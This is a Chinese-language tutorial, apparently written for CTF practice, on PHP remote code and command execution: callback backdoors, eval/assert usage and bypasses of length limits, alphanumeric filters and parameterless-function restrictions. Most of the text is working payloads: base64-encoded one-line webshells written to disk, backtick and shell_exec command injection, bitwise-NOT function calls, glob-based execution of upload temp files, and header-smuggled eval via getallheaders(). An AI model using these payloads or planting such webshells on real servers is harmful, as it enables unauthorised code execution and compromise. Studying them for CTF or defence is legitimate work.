目录
1、RCE概述
(1)命令执行函数
(2)代码执行函数
2、回调后门
3、eval和assert
限制字符长度绕过
(1)反引号或exec
(2)file_put_contents写入文件
(3)回调后门+变长参数
(4)拼接文件名
无字母数字绕过
(1)取反码
(2)临时文件
无参数读文件和RCE
(1)Apache
(2)Nginx
1、RCE概述
RCE漏洞:远程代码执行和远程命令执行
在很多Web应用中,开发人员会使用一些特殊函数,这些函数以一些字符串作为输入,功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时,就产生了RCE漏洞。
(1)命令执行函数
system(), passthru() -->可以直接输出结果
exec(), shell_exec() -->需要echo打印结果
(2)代码执行函数
eval(), assert() -->执行php代码
call_user_func(), call_user_func_array() -->回调函数
2、回调后门
有回调函数作为参数的函数 -->回调后门
call_user_func() , call_user_func_array() , array_filter() 等等
3、eval和assert
eval在php中是动态执行的方法,不能通过$_GET和$_POST来动态传递进行执行
assert是php的函数,可以动态传递进行执行
例:如有回调后门如下
call_user_func('assert',$_REQUEST['pass']);
我们在用蚁剑进行连接的时候,如果这样:
?pass=$_POST[123]
这样连接会失败,要在前面加上eval,
这样才能连接成功
限制字符长度绕过
<?php
$param = $_REQUEST['param'];
if (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false)
{
eval($param);
}
(1)反引号或exec
?param=echo%20`$_GET[1]`;&1=whoami
?param=exec($_GET[1]);&1=whoami
(2)file_put_contents写入文件
将一句话木马进行base64编码后一个一个写入文件
为什么必须编码?
因为像< 这些特殊符号,不能直接写入
?1=file_put_contents¶m=$_GET[1](N,P,8);
?1=file_put_contents¶m=$_GET[1](N,D,8);
...
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中 */
?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
(3)回调后门+变长参数
usort(...$_GET)
usort —> 使用用户自定义的比较函数对数组中的值进行排序
用BurpSuit抓包,修改post和get值
(4)拼接文件名
<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 )
{
echo shell_exec($param);
}
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php
因为长度限制,将上面一句命令拆分开,通过常见文件的方式绕过
最后再用ls -t 以创建时间的列出当前文件夹下所有文件,就拼接回去了
注意:每一个文件名后面都要加上\,因为文件名都是以换行符结尾,在ls -t列出文件的时候,\起到转义换行符的作用
无字母数字绕过
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
(1)取反码
php7中,支持这样执行函数:('phpinfo')();
payload:
(~%8F%97%8F%96%91%99%90)();
将 phpinfo取反 : ~phpinfo -->urlcode编码 :%8F%97%8F%96%91%99%90
payload再次取反,就复原了,成功绕过
(2)临时文件
php上传文件机制:
第一步:将本地的文件上传到服务器的临时目录 /tmp
第二步:将上传的文件从临时目录移动到指定的目录中,再删除临时文件
思路:
(1)上传一个shell文件(虽然上传不成功,但是代码没执行完毕临时文件不会删除),将要执行的代码写入文件
(2)再通过get传参传入命令,执行临时文件
阻碍:
1、 上传的临时文件没有x执行权限, --> . phpasgdfK (点加空格加文件名执行)
2、 不知道临时文件名,为随机生成的
临时文件名特征:随机文件名为: phpxxxxxx ,但最后一个位大多是大写字母,只有少数部分位小写字母和数字
大写字母ASCII范围是: @-[
Linux glob 通配符:? 匹配任意一个字符,* 匹配任意多个字符
payload:
?code=?><?=`.+/???/????????[@-[]`;?>
无参数读文件和RCE
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']))
{
eval($_GET['code']);
}
?>
上面正则只能匹配函数,不能有参数,但是可以嵌套函数 --> a(b(c()))
(1)Apache
apache有getallheaders()函数,获取所有header
code=eval(next(getallheaders()));
user-agent:phpinfo();
用BurpSuit抓包,修改header内容,将要执行的命令写入头部
(2)Nginx
找到flag文件
1、print_r(scandir('.'));
但是不能有 . 这个参数,所以找到输出 . d 的函数
(1)print_r(scandir(current(localeconv()))); --pos是current的别名,也可以
(2)chr(46) 是字符 .
chr(current(localtime(time())));
2、print_r(scandir('绝对路径'));
print_r(scandir(getcwd()));
读flag文件
show_source(array_rand(array_flip(scandir(getcwd()))));
array_flip()是交换数组的键和值,array_rand()是随机返回一个数组